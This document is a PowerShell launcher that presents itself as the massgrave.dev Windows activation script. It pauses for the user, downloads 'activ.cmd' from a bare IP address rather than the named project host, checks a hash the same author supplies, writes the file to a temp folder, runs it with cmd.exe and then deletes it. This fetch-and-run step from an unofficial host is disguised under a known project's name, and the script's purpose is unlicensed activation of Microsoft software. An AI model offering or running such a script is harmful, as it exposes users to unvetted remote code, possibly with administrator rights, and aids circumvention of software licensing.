# The following get.ps1 code is hosted on get.activated.win for massgrave.dev. For more info, please visit massgrave.dev.

$ErrorActionPreference = "Stop"
# Enable TLSv1.2 for compatibility with older clients for current session
Write-Host -ForeGroundColor green "+-------------------------------------------------------------------+"
Write-Host -ForeGroundColor green "|                                                                   |"
Write-Host -ForeGroundColor green "|   Welcome to use the Microsoft Activated Scripts                  |"
Write-Host -ForeGroundColor green "|   For Details, see:                                               |"
Write-Host -ForeGroundColor green "|   English: https://massgrave.dev/                                 |"
Write-Host -ForeGroundColor green "|   Chinese: http://cici.one/activated                              |"
Write-Host -ForeGroundColor green "|   note:If the User Account Control screen pops up, click Yes      |"
Write-Host -ForeGroundColor green "|        If you has a question, post a message in this webpage:     |"
Write-Host -ForeGroundColor green "|      http://cici.one/discuz/forum.php?mod=forumdisplay&fid=38     |"
Write-Host -ForeGroundColor green "|                                                                   |"
Write-Host -ForeGroundColor green "+-------------------------------------------------------------------+"

pause

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$DownloadURL1 = '47.99.180.111/activated/activ.cmd'
$DownloadURL2 = '47.99.180.111/activated/activ.cmd'

$URLs = @($DownloadURL1, $DownloadURL2)
$RandomURL1 = Get-Random -InputObject $URLs
$RandomURL2 = ($URLs -ne $RandomURL1)[0]

try {
    $response = Invoke-RestMethod -Uri $RandomURL1 -UseBasicParsing
}
catch {
    $response = Invoke-RestMethod -Uri $RandomURL2 -UseBasicParsing
}

# Verify script integrity
$releaseHash = 'ef2f705b9e8be2816598e2e8b70badb200733f2287b917d6c9666d95c63afbf9'
$stream = New-Object IO.MemoryStream
$writer = New-Object IO.StreamWriter $stream
$writer.Write($response)
$writer.Flush()
$stream.Position = 0
$hash = [BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash($stream)) -replace '-'
if ($hash -ne $releaseHash) {
    Write-Warning "Hash ($hash) mismatch, aborting!`nReport this issue at https://massgrave.dev/troubleshoot"
    $response = $null
    return
}

# Check for AutoRun registry which may create issues with CMD
$paths = "HKCU:\SOFTWARE\Microsoft\Command Processor", "HKLM:\SOFTWARE\Microsoft\Command Processor"
foreach ($path in $paths) {
    if (Get-ItemProperty -Path $path -Name "Autorun" -ErrorAction SilentlyContinue) {
        Write-Warning "Autorun registry found, CMD may crash! `nManually copy-paste the below command to fix...`nRemove-ItemProperty -Path '$path' -Name 'Autorun'"
    }
}

$rand = [Guid]::NewGuid().Guid
$isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544')
$FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\MAS_$rand.cmd" } else { "$env:TEMP\MAS_$rand.cmd" }

$ScriptArgs = "$args "
$prefix = "@::: $rand `r`n"
$content = $prefix + $response
Set-Content -Path $FilePath -Value $content

# Set ComSpec variable for current session in case its corrupt in the system
$env:ComSpec = "$env:SystemRoot\system32\cmd.exe"
Start-Process cmd.exe "/c """"$FilePath"" $ScriptArgs""" -Wait

$FilePaths = @("$env:TEMP\MAS*.cmd", "$env:SystemRoot\Temp\MAS*.cmd")
foreach ($FilePath in $FilePaths) { Get-Item $FilePath | Remove-Item }
